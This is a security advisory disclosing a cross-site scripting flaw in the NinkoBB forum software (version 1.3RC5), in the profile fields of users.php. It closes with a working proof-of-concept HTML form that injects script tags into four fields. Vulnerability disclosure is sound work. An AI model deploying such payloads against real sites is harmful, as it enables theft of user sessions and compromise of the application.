Vulnerability ID: HTB22652 Reference: http://www.htbridge.ch/advisory/xss_in_ninkobb.html Product: NinkoBB Vendor: NinkoBB ( http://ninkobb.com ) Vulnerable Version: 1.3RC5 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "users.php" script to properly sanitize user-supplied input in "msn","aim","first_name" and "last_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/users.php?a=profile" method="post" /> <input type="hidden" name="first_name" value=""><script>alert('XSS1');</script>"> <input type="hidden" name="last_name" value=""><script>alert('XSS2');</script>"> <input type="hidden" name="msn" value=""><script>alert('XSS3');</script>"> <input type="hidden" name="aim" value=""><script>alert('XSS4');</script>"> <input type="submit" name="profile" value="submit"> </form>